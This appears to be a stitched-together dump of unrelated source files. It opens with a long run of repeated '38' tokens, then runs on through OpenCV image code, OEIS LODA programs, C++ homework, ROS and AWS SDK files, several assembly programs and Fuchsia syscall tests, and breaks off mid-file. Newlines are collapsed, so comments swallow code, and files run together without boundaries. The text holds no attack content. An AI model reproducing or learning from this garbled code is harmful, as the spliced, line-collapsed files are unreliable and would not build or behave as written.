38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
// // Created by Matúš Cimerman on 05/04/2017. // #include <iostream> #include <opencv2/core.hpp> #include <opencv2/imgproc.hpp> #include <opencv/cv.hpp> namespace Operations { int MAX_THRESHOLD = 255, THRESHOLD = 0; void preprocessImage(cv::Mat &imgSrc, cv::Mat &imgDst, bool showImg) { cv::Mat imgTmp; cv::cvtColor(imgSrc, imgTmp, cv::COLOR_BGR2GRAY); cv::GaussianBlur(imgTmp, imgTmp, cv::Size(11, 11), 0); cv::threshold(imgTmp, imgDst, THRESHOLD, MAX_THRESHOLD, cv::THRESH_BINARY + cv::THRESH_OTSU); if (showImg) { imshow("Preprocessed", imgDst); } } void morphOpening(cv::Mat &imgSrc, cv::Mat &imgDst, int erosion_size, bool showImg) { // Erosion + dilatation. cv::Mat element = cv::getStructuringElement(cv::MORPH_ELLIPSE, cv::Size(2 * erosion_size + 1, 2 * erosion_size + 1), cv::Point(erosion_size, erosion_size)); erode(imgSrc, imgDst, element); dilate(imgDst, imgDst, element); if (showImg) { imshow("Morphological closing", imgDst); } } void gammaCorrection(cv::Mat &imgSrc, cv::Mat &imgDst, float fGamma, bool showImg) { // Source: OpenCV examples unsigned char lut[256]; for (int i = 0; i < 256; i++) { lut[i] = cv::saturate_cast<uchar>(pow((float) (i / 255.0), fGamma) * 255.0f); } imgDst = imgSrc.clone(); const int channels = imgDst.channels(); switch (channels) { case 1: { cv::MatIterator_<uchar> it, end; for (it = imgDst.begin<uchar>(), end = imgDst.end<uchar>(); it != end; it++) *it = lut[(*it)]; break; } case 3: { cv::MatIterator_<cv::Vec3b> it, end; for (it = imgDst.begin<cv::Vec3b>(), end = imgDst.end<cv::Vec3b>(); it != end; it++) { (*it)[0] = lut[((*it)[0])]; (*it)[1] = lut[((*it)[1])]; (*it)[2] = lut[((*it)[2])]; } break; } default: break; } if (showImg) { imshow("Gamma corrected", imgDst); } } std::vector<cv::KeyPoint> simpleBlobDetection(cv::Mat &imgSrc, cv::Mat &imgDst, std::string windowName, bool showImg = false) { cv::SimpleBlobDetector::Params params; params.filterByInertia = true; params.minInertiaRatio = 0.05; params.maxInertiaRatio = 1; params.filterByConvexity = false; params.filterByColor = true; params.blobColor = 255; params.filterByArea = true; params.minArea = 50.0f; cv::Ptr<cv::SimpleBlobDetector> d = cv::SimpleBlobDetector::create(params); std::vector<cv::KeyPoint> keypoints; // Blob detection d->detect(imgSrc, keypoints); drawKeypoints(imgDst, keypoints, imgDst, cv::Scalar(255, 0, 0), cv::DrawMatchesFlags::DRAW_RICH_KEYPOINTS); if (showImg) { imshow(windowName, imgDst); } return keypoints; } std::vector<cv::KeyPoint> countNucleus(cv::Mat &imgSrc, cv::Mat &imgDst, std::string windowName, bool showImg = false) { cv::Mat imgSrcCopy = imgSrc.clone(); cv::Mat imgDstCopy = imgDst.clone(); std::vector<cv::KeyPoint> nucleus = simpleBlobDetection(imgSrcCopy, imgDstCopy, windowName, false); if (showImg) { // write nucleus count to image std::string label; ; if (nucleus.size() == 1) { label = std::to_string(nucleus.size()) + " cell nucleus found"; } else { label = std::to_string(nucleus.size()) + " cell nuclei found"; } cv::putText(imgDstCopy, label, cv::Point(50, 50), cv::QT_FONT_NORMAL, 2.0, CV_RGB(0,204,0), 2.5); if (imgDstCopy.rows/2 > 1024 || imgDstCopy.cols/2 > 800) { resize(imgDstCopy, imgDstCopy, cv::Size(imgDstCopy.rows/2, imgDstCopy.cols/2)); } imshow(windowName, imgDstCopy); } return nucleus; } }
; A021694: Expansion of 1/((1-x)(1-3x)(1-9x)(1-11x)). ; Submitted by Jon Maiga ; 1,24,394,5544,71995,891408,10701748,125788848,1456313749,16673208552,189289198462,2135136588312,23963101915663,267883518461856,2985323286760936,33185997429018336,368172943255604137,4078045119832977720,45111781014935875570,498509153436996109320,5504116748266500681571,60729928775083089338544,669691017423325290884764,7381557399733421187947664,81331737269759643605666365,895860562821585445439422728,9865369266725508004626226918,108617189615173212432417915768,1195672234897638990505550532919 add $0,2 lpb $0 sub $0,1 add $2,2 mul $2,9 sub $2,9 mul $3,11 add $3,$1 mul $1,3 add $1,$2 lpe mov $0,$3 div $0,9
; A209529: Half the number of (n+1)X(n+1) 0..2 arrays with every 2X2 subblock having exactly two distinct clockwise edge differences ; 5,25,257,6145,262145,25165825,4294967297,1649267441665,1125899906842625,1729382256910270465,4722366482869645213697,29014219670751100192948225,316912650057057350374175801345,7788445287802241442795744493830145 add $0,2 pow $0,2 seq $0,136252 ; a(n) = a(n-1) + 2*a(n-2) - 2*a(n-3). sub $0,13 div $0,4 add $0,5
/** * Create a class Box containing length, breadth and * height. Include the following methods in it: * (a) Calculate Surface Area * (b) Calculate Volume * (c) Overload + operator (to add two boxes * length, breadth and height) * (d) Overload operator = = (to check equality of * two boxes), as a friend function * (e) Overload Assignment operator * (f) Check if its a cube or cuboid * * WAP which takes input from user for length, breadth * and height to test the above class. * * Written by: Sudipto Ghosh for University of Delhi * Date: 28 - 09 - 2019 */ #include <iostream> using namespace std; class Box { private: float length; float breadth; float height; public: Box(); Box(Box &); Box(float, float, float); ~Box() {} void show(); void isCube(); float calculateVolume(); float calculateSurfaceArea(); Box operator+(Box &); Box operator=(Box &); friend void operator==(Box &, Box &); }; Box::Box() { length = breadth = height = 0; } Box::Box(Box &o) { length = o.length; breadth = o.breadth; height = o.height; } Box::Box(float a, float b, float c) { length = a; breadth = b; height = c; } void Box::show() { cout << "Length: " << length << " units\n"; cout << "Breadth: " << breadth << " units\n"; cout << "Height: " << height << " units\n"; return; } void Box::isCube() { if (length == breadth && breadth == height && height == length) cout << "Box is a Cube"; else cout << "Box is a Cuboid"; cout << endl; return; } float Box::calculateVolume() { return length * breadth * height; } float Box::calculateSurfaceArea() { return 2 * (length * breadth + breadth * height + height * length); } Box Box::operator+(Box &o) { Box temp(*this); temp.length += o.length; temp.breadth += o.breadth; temp.height += o.height; return temp; } Box Box::operator=(Box &o) { length = o.length; breadth = o.breadth; height = o.height; return *this; } void operator==(Box &a, Box &o) { if (a.length == o.length && a.breadth == o.breadth && a.height == o.height) cout << "Boxes are Equal"; else cout << "Boxes are Not Equal"; cout << endl; return; } int main() { Box C; int l, b, h; cout << "Enter dimensions of Box 1: "; cin >> l >> b >> h; Box A(l, b, h); cout << "Enter dimensions of Box 2: "; cin >> l >> b >> h; Box B(l, b, h); cout << endl; cout << "Box 1\n"; cout << "-----\n"; A.show(); cout << endl; cout << "Box 2\n"; cout << "-----\n"; B.show(); cout << endl; cout << "Surface Area\n"; cout << "------------\n"; cout << "Box 1: " << A.calculateSurfaceArea() << " square units" << endl; cout << "Box 2: " << B.calculateSurfaceArea() << " square units" << endl; cout << endl; cout << "Volume\n"; cout << "------\n"; cout << "Box 1: " << A.calculateVolume() << " cubic units" << endl; cout << "Box 2: " << B.calculateVolume() << " cubic units" << endl; cout << endl; cout << "Sum of Box 1 and Box 2\n"; cout << "----------------------\n"; (A + B).show(); cout << endl; cout << "Assigning Box 1 to Box 3...\n\n"; C = A; cout << "Equality of Box 1 and Box 2\n"; cout << "---------------------------\n"; A == B; cout << endl; cout << "Equality of Box 1 and Box 3:\n"; cout << "---------------------------\n"; A == C; cout << endl; return 0; }
int next_n(int n){ int r = 0; int ans = n; int d = 0; while(ans != 0){ d = ans % 10; ans = ans / 10; r += d*d; } return r; } bool contain(int* history, int size, int n){ for(int i=0;i<=size;i++){ if(history[i]==n){ return true; } } return false; } bool isHappy(int n){ int history[10000]; int size = 0; while(!contain(history, size, n)){ history[size]=n; size++; n = next_n(n); } return n==1; }
/* * Copyright (c) 2019 Autoware Foundation, AutonomouStuff * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file * except in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 */ #include <gtest/gtest.h> #include <ros/ros.h> #include <geometry_msgs/TwistStamped.h> #include <nav_msgs/Odometry.h> #include "twist2odom/twist2odom.h" class Twist2OdomTestSuite : public ::testing::Test { public: Twist2OdomTestSuite() { pub_twist_ = nh_.advertise<geometry_msgs::TwistStamped>("current_twist", 1); sub_odom_ = nh_.subscribe("current_odom", 1, &Twist2OdomTestSuite::callbackFromOdom, this); } void callbackFromOdom(const nav_msgs::OdometryConstPtr& msg) { current_odom_ptr_ = std::make_shared<nav_msgs::Odometry>(*msg); ROS_ERROR("Got to the callback!"); } void resetCurrentOdom() { current_odom_ptr_ = nullptr; } twist2odom::Twist2Odom t2o_; ros::NodeHandle nh_; ros::Publisher pub_twist_; ros::Subscriber sub_odom_; std::shared_ptr<nav_msgs::Odometry> current_odom_ptr_; }; TEST_F(Twist2OdomTestSuite, simpleTwistPub) { while (true) { if (pub_twist_.getNumSubscribers() < 1 && sub_odom_.getNumPublishers() < 1) ros::Duration(0.1).sleep(); else break; } geometry_msgs::TwistStamped twist; twist.twist.linear.x = 1.0; twist.twist.linear.y = 2.0; twist.twist.linear.z = 3.0; twist.twist.angular.x = 1.0; twist.twist.angular.y = 2.0; twist.twist.angular.z = 3.0; for (int i = 0; i < 10; ++i) { twist.header.stamp = ros::Time::now(); pub_twist_.publish(twist); ros::spinOnce(); ros::Duration(0.1).sleep(); } ASSERT_FALSE(current_odom_ptr_ == nullptr); ASSERT_FLOAT_EQ(current_odom_ptr_->twist.twist.linear.x, 1.0); ASSERT_FLOAT_EQ(current_odom_ptr_->twist.twist.linear.y, 2.0); ASSERT_FLOAT_EQ(current_odom_ptr_->twist.twist.linear.z, 3.0); ASSERT_FLOAT_EQ(current_odom_ptr_->twist.twist.angular.x, 1.0); ASSERT_FLOAT_EQ(current_odom_ptr_->twist.twist.angular.y, 2.0); ASSERT_FLOAT_EQ(current_odom_ptr_->twist.twist.angular.z, 3.0); resetCurrentOdom(); } int main(int argc, char** argv) { testing::InitGoogleTest(&argc, argv); ros::init(argc, argv, "Twist2OdomTestSuite"); return RUN_ALL_TESTS(); }
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/kinesisvideo/model/CreateSignalingChannelResult.h> #include <aws/core/utils/json/JsonSerializer.h> #include <aws/core/AmazonWebServiceResult.h> #include <aws/core/utils/StringUtils.h> #include <aws/core/utils/UnreferencedParam.h> #include <utility> using namespace Aws::KinesisVideo::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; using namespace Aws; CreateSignalingChannelResult::CreateSignalingChannelResult() { } CreateSignalingChannelResult::CreateSignalingChannelResult(const Aws::AmazonWebServiceResult<JsonValue>& result) { *this = result; } CreateSignalingChannelResult& CreateSignalingChannelResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result) { JsonView jsonValue = result.GetPayload().View(); if(jsonValue.ValueExists("ChannelARN")) { m_channelARN = jsonValue.GetString("ChannelARN"); } return *this; }
; A007531: a(n) = n*(n-1)*(n-2) (or n!/(n-3)!). ; 0,0,0,6,24,60,120,210,336,504,720,990,1320,1716,2184,2730,3360,4080,4896,5814,6840,7980,9240,10626,12144,13800,15600,17550,19656,21924,24360,26970,29760,32736,35904,39270,42840,46620,50616,54834,59280,63960,68880,74046,79464,85140,91080,97290,103776,110544,117600,124950,132600,140556,148824,157410,166320,175560,185136,195054,205320,215940,226920,238266,249984,262080,274560,287430,300696,314364,328440,342930,357840,373176,388944,405150,421800,438900,456456,474474,492960,511920,531360,551286 bin $0,3 mul $0,6
# test data .data cstrA: .asciiz "eve" cstrB: .asciiz "hello" .text .globl threeMAIN # a main for task 3 threeMAIN: # check the length of the inputted c strings la $a0, cstrA jal STRLEN la $a0, cstrB jal STRLEN # check if the inputted c strings are palindromes la $a0, cstrA jal isPalindrome la $a0, cstrB jal isPalindrome li $v0, 10 syscall
%include "vid/sys_log.inc" %include "ozone.inc" %include "process.inc" struc buf_file .fd: resb file_descriptor_size .buf: resd 1 ; ptr to current buffer .size: resd 1 ; size of current buffer .cur: resd 1 ; current location within buffer endstruc global _start _start: mov edx, [ebx+process_info.stdout] externfunc sys_log.get_log_pointer ; EBX = ptr to buffer file descriptor xchg edx, ebx mov ecx, [edx+buf_file.cur] test ecx, ecx jz .retn mov esi, [edx+buf_file.buf] mov ebp, [ebx] call [ebp+file_op_table.write] jc .error .retn: xor eax, eax .error: retn
; Initialisation In ; (0) Mod 2 ; (1) CMP 0 ; (2) ; Si la valeur entrée au clavier est paire, i.e. ZF=1 Load Mem[1] ; (3) JZ 11 ; Alors -> suivre l'instr 11 (4) ; Sinon Add Mem[2] ; On fait la somme des valeurs (5) Store Mem[0] ; (6) Load Mem[1] ; Puis le produit des valeurs (7) Mul Mem[2] ; (8) Store Mem[2] ; (9) JMP 21 ; (10) ; Alors Mul Mem[1] ; On détermine le carré de Mem[1] (11) Store Mem[1] ; (12) Load Mem[2] ; Idem pour Mem[2] (13) Mul Mem[2] ; (14) Store Mem[2] ; (15) Add Mem[1] ; On fait la somme du carré des valeurs.. (16) Store Mem[0] ; ... que l'on garde dans Mem[0] temporairement (17) Load Mem[1] ; On calcule ensuite la différence du carré des valeurs (18) Sub Mem[2] ; (19) Store Mem[2] ; On garde la différence dans Mem[2] (20) ; Après ; Ici, instructions facultatives mais permettent de retrouver le résultat dans les variables de départ Load Mem[0] ; Enfin on retourne la somme dans Mem[1] (21) Store Mem[1] ; (22) ; Affichage Out Load Mem[2] Out ; Fin End
; A106539: a(1)=1, a(2)=1, a(n) = (n-1)*a(n-1) - (n-2)*a(n-2) - ... - a(1) for n>=3. ; Submitted by Jon Maiga ; 1,1,1,0,-6,-36,-192,-1104,-7248,-54816,-472512,-4573824,-49064448,-577130496,-7381281792,-101940854784,-1511556077568,-23945902043136,-403579232182272,-7209532170092544,-136064164749017088,-2705030337674674176,-56501002847058788352,-1237002733471725256704,-28326022205828427153408,-677100446144896293666816,-16865410935620778571333632,-437022282997847192726667264,-11762914016414046546221334528,-328414172644541953593946669056,-9498590339028785861731509338112,-284250040490248630359771498676224 mov $1,1 mov $2,1 mov $3,$0 lpb $3 mul $2,2 sub $2,$1 mul $2,$3 add $1,$2 sub $3,1 lpe mov $0,$2
; A104584: a(n) = (1/2) * ( 3*n^2 + n*(-1)^n ). ; 0,1,7,12,26,35,57,70,100,117,155,176,222,247,301,330,392,425,495,532,610,651,737,782,876,925,1027,1080,1190,1247,1365,1426,1552,1617,1751,1820,1962,2035,2185,2262,2420,2501,2667,2752,2926,3015,3197,3290,3480,3577,3775,3876,4082,4187,4401,4510,4732,4845,5075,5192,5430,5551,5797,5922,6176,6305,6567,6700,6970,7107,7385,7526,7812,7957,8251,8400,8702,8855,9165,9322,9640,9801,10127,10292,10626,10795,11137,11310,11660,11837,12195,12376,12742,12927,13301,13490,13872,14065,14455,14652 mul $0,3 div $0,2 mul $0,4 add $0,1 pow $0,2 div $0,24
; This file assigns ISR vector targets. This must be done in the client ; application so linker will observe these assignments, otherwise ISRs ; will not be linked. .cdecls C,LIST, "wisp-base.h" .sect ".int45" ; Timer0_A0 Vector .short Timer0A0_ISR ; int53 = Timer0A0_ISR addr. .sect ".int44" ; Timer0_A1 Vector .short Timer0A1_ISR ; int52 = Timer0A1_ISR addr. .sect ".int36" ; Port 2 Vector .short RX_ISR ; int02 = RX_ISR addr.
; A136210: Numerators in continued fraction [0; 1, 3, 1, 3, 1, 3,...]. ; Submitted by Jamie Morken(s4) ; 1,3,4,15,19,72,91,345,436,1653,2089,7920,10009,37947,47956,181815,229771,871128,1100899,4173825,5274724,19997997,25272721,95816160,121088881,459082803,580171684,2199597855,2779769539,10538906472 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,3 mul $2,3 lpe mov $0,$1
# Penny Ellard -- 9/7/97 # reverse.asm-- An Ant-8 program that reads a string from the user, # then prints out the string in reverse order # Registers used: # r4 - hold characters as they are read in and printed out. # r5 - address - used for conditional branches. # r6 - address - used for conditional branches. # r7 - the address of the next byte in char_array to visit. # r8 - the constant '\n'. # r9 - address of the start of char_array. # r10 - the address of the last byte in the char_array. initialize: lc r5, $end_read # Initialize r5 to end of read loop lc r6, $read_loop # Initialize r6 to start of read loop lc r9, $char_array # r9 is the address of the start of char_array lc r8, '\n' # Initialize r8 to '\n' lc r10, $end_array # Initialize r10 to the address of the # location after the end of the char_array, inc r10, -1 # and decrement r10 so that it is the address # the last location in the char_array. add r7, r9, r0 # r7 starts at the start of char_array read_loop: sys r4, SysGetChar # Read a character, put in r4 beq r5, r4, r8 # if it's a newline, exit read loop bgt r5, r7, r10 # if char_array is full, exit read loop st1 r4, r7, 0 # store character at r7 inc r7, 1 # i = i + 1 jmp $read_loop # go to top of loop end_read: lc r5, $end_print # Re-Initialize r5 to end of print loop lc r6, $print_loop # Re-Initialize r6 to start of print loop lc r9, $char_array # r9 is the address of the first byte # in char_array. print_loop: inc r7, -1 # i = i - 1 bgt r5, r9, r7 # Have we backed off the end of char_array? # If so, then exit print loop. ld1 r4, r7, 0 # load character at r7 into r4 sys r4, SysPutChar # Print r4 jmp $print_loop end_print: sys r8, SysPutChar # Print a newline sys r0, SysHalt # Halt _data_: # enough space for 40 characters: char_array: .byte 0, 0, 0, 0, 0, 0, 0, 0 .byte 0, 0, 0, 0, 0, 0, 0, 0 .byte 0, 0, 0, 0, 0, 0, 0, 0 .byte 0, 0, 0, 0, 0, 0, 0, 0 .byte 0, 0, 0, 0, 0, 0, 0, 0 end_array: # end of reverse.asm
; Spectravideo SVI CRT0 stub ; ; Stefano Bodrato - Apr. 2001 ; ; $Id: svi_crt0.asm,v 1.20 2016-06-21 20:49:07 dom Exp $ ; MODULE svi_crt0 ; ; Initially include the zcc_opt.def file to find out lots of lovely ; information about what we should do.. ; defc crt0 = 1 INCLUDE "zcc_opt.def" INCLUDE "target/svi/def/svibios.def" ;-------- ; Some scope definitions ;-------- EXTERN _main EXTERN msxbios PUBLIC cleanup PUBLIC l_dcal defc CONSOLE_COLUMNS = 32 defc CONSOLE_ROWS = 24 defc __CPU_CLOCK = 3580000 IF startup = 3 ; ROM INCLUDE "target/svi/classic/rom.asm" ELSE defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = -1 ; Now, getting to the real stuff now! IF startup = 2 defc CRT_ORG_CODE = $8000 ENDIF IFNDEF CRT_ORG_CODE defc CRT_ORG_CODE = 34816 ENDIF INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE start: ld (start1+1),sp INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF IF startup != 2 call $53 ; Hide function key menu ELSE im 1 ei ENDIF call _main cleanup: call crt0_exit start1: IF startup = 2 jr start1 ELSE ld sp,0 ld ix,KILBUF ;Clear keyboard buffer call msxbios ld ix,$3768 ; TOTEXT - force text mode on exit call msxbios ret ENDIF l_dcal: jp (hl) ENDIF ; All startup modes follow on here INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" IF startup = 2 INCLUDE "target/svi/classic/bootstrap.asm" ENDIF
TITLE Ejercicio ejer4BL2 ; Descripcion: ; Ejemplo de implementacion de operaciones logicas Booleanas. ; Optimizado manualmente. ; INCLUDE \masm32\Irvine\Irvine32.inc INCLUDELIB \masm32\Irvine\Irvine32.lib INCLUDELIB \masm32\Irvine\User32.lib INCLUDELIB \masm32\Irvine\Kernel32.lib .DATA ; Textos para la Consola mcr=0Dh mlf=0Ah mnul=0h datoA BYTE "Dato A: ", mnul datoB BYTE "Dato B: ", mnul datoC BYTE "Dato C: ", mnul impri01 BYTE "C = B-A: ", mnul impri02 BYTE "C = B*10: ", mnul Adios BYTE mcr, mlf, "ADIOS.", mcr, mlf, mnul ; Variables boo1 BYTE ? ; para llevar un valor logico Booleano boo2 BYTE ? A SDWORD ? B SDWORD ? CC SDWORD ? .CODE ; Procedimiento principal main PROC mov edx, OFFSET datoA call WriteString call ReadInt mov A, EAX mov edx, OFFSET datoB call WriteString call ReadInt mov B, EAX mov edx, OFFSET datoC call WriteString call ReadInt mov CC, EAX ; IF( (A > B) && (C <= 5) ) ; (A > B) MOV EBX, B CMP A, EBX JLE eqelse ; salta por (A > B) && (C <= 5) falso ; (C <= 5) CMP CC, 5 JG eqelse ; salta por (A > B) && (C <= 5) falso ; Verdadero de (A > B) && (C <= 5) sub EBX, A mov CC, EBX mov edx, OFFSET impri01 JMP eqfinif eqelse: imul EBX, 10 mov CC, EBX mov edx, OFFSET impri02 eqfinif: call WriteString mov EAX, CC call WriteInt call CrLf ; ADIOS mov edx,OFFSET Adios call WriteString exit main ENDP ; Termina el procedimiento principal ; Termina el area de Ensamble END main
// Copyright 2019 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "gtest/gtest.h" #include "interception_workflow_test.h" namespace fidlcat { // zx_fifo_create tests. std::unique_ptr<SystemCallTest> ZxFifoCreate(int64_t result, std::string_view result_name, size_t elem_count, size_t elem_size, uint32_t options, zx_handle_t* out0, zx_handle_t* out1) { auto value = std::make_unique<SystemCallTest>("zx_fifo_create", result, result_name); value->AddInput(elem_count); value->AddInput(elem_size); value->AddInput(options); value->AddInput(reinterpret_cast<uint64_t>(out0)); value->AddInput(reinterpret_cast<uint64_t>(out1)); return value; } #define FIFO_CREATE_DISPLAY_TEST_CONTENT(result, expected) \ zx_handle_t out0 = kHandleOut; \ zx_handle_t out1 = kHandleOut2; \ PerformDisplayTest("zx_fifo_create@plt", ZxFifoCreate(result, #result, 4, 3, 0, &out0, &out1), \ expected); #define FIFO_CREATE_DISPLAY_TEST(name, errno, expected) \ TEST_F(InterceptionWorkflowTestX64, name) { FIFO_CREATE_DISPLAY_TEST_CONTENT(errno, expected); } \ TEST_F(InterceptionWorkflowTestArm, name) { FIFO_CREATE_DISPLAY_TEST_CONTENT(errno, expected); } FIFO_CREATE_DISPLAY_TEST(ZxFifoCreate, ZX_OK, "\n" "test_3141 \x1B[31m3141\x1B[0m:\x1B[31m8764\x1B[0m " "zx_fifo_create(" "elem_count:\x1B[32msize_t\x1B[0m: \x1B[34m4\x1B[0m, " "elem_size:\x1B[32msize_t\x1B[0m: \x1B[34m3\x1B[0m, " "options:\x1B[32muint32\x1B[0m: \x1B[34m0\x1B[0m)\n" " -> \x1B[32mZX_OK\x1B[0m (" "out0:\x1B[32mhandle\x1B[0m: \x1B[31mbde90caf\x1B[0m, " "out1:\x1B[32mhandle\x1B[0m: \x1B[31mbde90222\x1B[0m)\n"); // zx_fifo_read tests. std::unique_ptr<SystemCallTest> ZxFifoRead(int64_t result, std::string_view result_name, zx_handle_t handle, size_t elem_size, void* data, size_t count, size_t* actual_count) { auto value = std::make_unique<SystemCallTest>("zx_fifo_read", result, result_name); value->AddInput(handle); value->AddInput(elem_size); value->AddInput(reinterpret_cast<uint64_t>(data)); value->AddInput(count); value->AddInput(reinterpret_cast<uint64_t>(actual_count)); return value; } #define FIFO_READ_DISPLAY_TEST_CONTENT(result, expected) \ constexpr size_t kElemSize = 4; \ std::vector<uint8_t> buffer; \ for (int i = 0; i < 20; ++i) { \ buffer.emplace_back(i); \ } \ size_t actual_count = buffer.size() / kElemSize; \ PerformDisplayTest( \ "zx_fifo_read@plt", \ ZxFifoRead(result, #result, kHandle, kElemSize, buffer.data(), 10, &actual_count), \ expected); #define FIFO_READ_DISPLAY_TEST(name, errno, expected) \ TEST_F(InterceptionWorkflowTestX64, name) { FIFO_READ_DISPLAY_TEST_CONTENT(errno, expected); } \ TEST_F(InterceptionWorkflowTestArm, name) { FIFO_READ_DISPLAY_TEST_CONTENT(errno, expected); } FIFO_READ_DISPLAY_TEST( ZxFifoRead, ZX_OK, "\n" "test_3141 \x1B[31m3141\x1B[0m:\x1B[31m8764\x1B[0m " "zx_fifo_read(" "handle:\x1B[32mhandle\x1B[0m: \x1B[31mcefa1db0\x1B[0m, " "elem_size:\x1B[32msize_t\x1B[0m: \x1B[34m4\x1B[0m, " "count:\x1B[32msize_t\x1B[0m: \x1B[34m10\x1B[0m)\n" " -> \x1B[32mZX_OK\x1B[0m (actual:\x1B[32msize_t\x1B[0m: \x1B[34m5\x1B[0m/\x1B[34m10\x1B[0m)\n" " data:\x1B[32muint8\x1B[0m: " "\x1B[34m00\x1B[0m, \x1B[34m01\x1B[0m, \x1B[34m02\x1B[0m, \x1B[34m03\x1B[0m, " "\x1B[34m04\x1B[0m, \x1B[34m05\x1B[0m, \x1B[34m06\x1B[0m, \x1B[34m07\x1B[0m, " "\x1B[34m08\x1B[0m, \x1B[34m09\x1B[0m, \x1B[34m0a\x1B[0m, \x1B[34m0b\x1B[0m, " "\x1B[34m0c\x1B[0m, \x1B[34m0d\x1B[0m, \x1B[34m0e\x1B[0m, \x1B[34m0f\x1B[0m, " "\x1B[34m10\x1B[0m, \x1B[34m11\x1B[0m, \x1B[34m12\x1B[0m, \x1B[34m13\x1B[0m\n"); // zx_fifo_write tests. std::unique_ptr<SystemCallTest> ZxFifoWrite(int64_t result, std::string_view result_name, zx_handle_t handle, size_t elem_size, const void* data, size_t count, size_t* actual_count) { auto value = std::make_unique<SystemCallTest>("zx_fifo_write", result, result_name); value->AddInput(handle); value->AddInput(elem_size); value->AddInput(reinterpret_cast<uint64_t>(data)); value->AddInput(count); value->AddInput(reinterpret_cast<uint64_t>(actual_count)); return value; } #define FIFO_WRITE_DISPLAY_TEST_CONTENT(result, expected) \ constexpr size_t kElemSize = 4; \ std::vector<uint8_t> buffer; \ for (int i = 0; i < 20; ++i) { \ buffer.emplace_back(i); \ } \ size_t actual_count = 2; \ PerformDisplayTest("zx_fifo_write@plt", \ ZxFifoWrite(result, #result, kHandle, kElemSize, buffer.data(), \ buffer.size() / kElemSize, &actual_count), \ expected); #define FIFO_WRITE_DISPLAY_TEST(name, errno, expected) \ TEST_F(InterceptionWorkflowTestX64, name) { FIFO_WRITE_DISPLAY_TEST_CONTENT(errno, expected); } \ TEST_F(InterceptionWorkflowTestArm, name) { FIFO_WRITE_DISPLAY_TEST_CONTENT(errno, expected); } FIFO_WRITE_DISPLAY_TEST( ZxFifoWrite, ZX_OK, "\n" "test_3141 \x1B[31m3141\x1B[0m:\x1B[31m8764\x1B[0m " "zx_fifo_write(" "handle:\x1B[32mhandle\x1B[0m: \x1B[31mcefa1db0\x1B[0m, " "elem_size:\x1B[32msize_t\x1B[0m: 